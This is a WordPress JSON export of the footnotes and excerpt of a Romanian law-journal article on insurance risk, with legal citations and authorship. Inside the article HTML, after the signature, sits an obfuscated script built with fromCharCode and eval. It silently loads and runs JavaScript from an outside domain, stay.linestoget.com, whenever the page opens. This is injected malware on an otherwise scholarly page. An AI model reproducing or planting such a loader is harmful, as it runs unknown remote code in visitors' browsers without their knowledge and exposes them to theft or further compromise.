\u00een evitarea producerii riscului, \u00een condi\u0163iile \u00een care prin furtul gen\u0163ii \u00een care se aflau cheile \u015fi actele autoturismului era previzibil un eventual furt al autoturismului, iar, pe de alt\u0103 parte, asiguratul nu a respectat prevederile legale \u00een materie, const\u00e2nd \u00een informarea asigur\u0103torului cu privire la m\u0103rirea posibilit\u0103\u0163ii producerii riscului asigurat (furtul autoturismului)<\/em>\u00bb, C.A. Bucure\u015fti, Sec\u0163ia comercial\u0103, decizia nr. 3127 din 2000 \u00een M. T\u0103b\u0103ra\u015f, M. Constantin, <em>op. cit.,<\/em> p. 158-159.<\/p>\n<\/div>\n<div>\n<p style=\"text-align: justify;\"><a title=\"\" href=\"#_ftnref16\">[16]<\/a> M. Costin, S. Deleanu \u2013 \u00ab<em>Dreptul comer\u021bului International\u00a0\u00bb<\/em>, Ed. Lumina Lex, Bucure\u0219ti, 1997, vol. I., p. 137.<\/p>\n<\/div>\n<div>\n<p style=\"text-align: justify;\"><a title=\"\" href=\"#_ftnref17\">[17]<\/a> S. P. Gavril\u0103 \u2013 <em>op. cit<\/em>., p. 162 sau Gh. Negoescu \u2013 \u00ab<em>Risc\u00a0\u015fi incertitudine \u00een economia contemporan\u0103\u00a0\u00bb<\/em>, Ed. Alter Ego Cristian, Gala\u021bi, 1995, p. 14.<\/p>\n<\/div>\n<div>\n<p style=\"text-align: justify;\"><a title=\"\" href=\"#_ftnref18\">[18]<\/a> S. P. Gavril\u0103 \u2013 <em>op. cit<\/em>., p. 163 \u015fi urm.,\u00a0 I. Stoian, R. Pencea, L. Brotac \u2013 <em>Tehnici de comer\u021b interna\u021bional,<\/em> vol. II, Ed. Jeco Trading, Bucure\u0219ti, p. 129, sau Marius Dr\u0103ghici\u2013<em>op. cit.<\/em>, p. 305-309 care le denume\u0219te riscuri obiective sau exogene, riscuri obiective private, riscuri obiective endogene.<\/p>\n<\/div>\n<div>\n<p><a title=\"\" href=\"#_ftnref19\">[19]<\/a> Pentru mai multe detalii \u00een Marius Dr\u0103ghici\u2013<em>op. cit.<\/em>, p. 309.<\/p>\n<\/div>\n<div>\n<p><a title=\"\" href=\"#_ftnref20\">[20]<\/a> D. C. Lambert-<em>\u201cEconomie des assurances\u201d,<\/em> Ed. Armand Colin, Paris, 1996, p. 33.<\/p>\n<\/div>\n<div>\n<p><a title=\"\" href=\"#_ftnref21\">[21]<\/a> Pentru mai multe detalii \u00een Marius Dr\u0103ghici\u2013<em>op. cit.<\/em>, p. 302-303.<\/p>\n<\/div>\n<div>\n<p style=\"text-align: justify;\"><a title=\"\" href=\"#_ftnref22\">[22]<\/a> S\u0103 existe la data \u00eencheierii contractului de asigurare \u015fi s\u0103 reprezinte un <strong><em>eveniment ce poate avea loc \u00een viitor<\/em><\/strong>, <strong><em>s\u0103 fie posibil<\/em><\/strong>, riscul trebuie s\u0103 fie un eveniment <strong><em>incert<\/em><\/strong> ce trebuie s\u0103 se realizeze<strong><em> independent de fapta inten\u0163ional\u0103<\/em><\/strong> si nu \u00een ultimul r\u00e2nd, riscul trebuie <strong><em>determinat cu precizie.<\/em><\/strong> Nu \u00een ultimul r\u00e2nd, trebuie remarcat \u015fi <strong>caracterul licit \u015fi moral al riscului<\/strong>, cerut \u00een doctrina francez\u0103 cu argumentul c\u0103, pentru c\u0103 evenimentul \u00eempotriva c\u0103ruia se solicit\u0103 protec\u021bia asiguratorului, garan\u021bia lui, trebuie s\u0103 fie \u00een acela\u0219i timp protejat, ocrotit de lege. Un pericol generat de nerespectarea legii sau care tulbur\u0103 ordinea de drept sau bunele moravuri nu poate primi \u00een nici o circumstan\u021b\u0103 protec\u021bia asigur\u0103torului.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: left;\" align=\"right\"><strong><em>Dr. Manuela T\u0103b\u0103ra\u0219<\/em><\/strong><\/p>\n<p>&nbsp;<\/p>\n<\/div>\n<\/div>\n<p style=\"text-align: justify;\" align=\"right\">\n<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nu exist\u0103 o justi\u0163ie absolut\u0103, ci numai un contract \u00eencheiat \u00eentre oameni pentru a nu se v\u0103t\u0103ma unii pe al\u0163ii \u015fi a nu fi v\u0103t\u0103ma\u0163i. EPICUR Oamenii, cu valorile \u015fi patrimoniul lor, au fost \u00eentr-o lupt\u0103 constant\u0103 \u015fi perpetu\u0103 cu for\u0163e imprevizibile \u015fi distructive care pot \u00eempiedica desf\u0103\u015furarea normal\u0103 a societ\u0103\u0163ii, a valorilor care o [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[141,142],"tags":[179],"_links":{"self":[{"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/posts\/623"}],"collection":[{"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/comments?post=623"}],"version-history":[{"count":3,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/posts\/623\/revisions"}],"predecessor-version":[{"id":680,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/posts\/623\/revisions\/680"}],"wp:attachment":[{"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/media?parent=623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/categories?post=623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.aafdutm.ro\/revista\/wp-json\/wp\/v2\/tags?post=623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}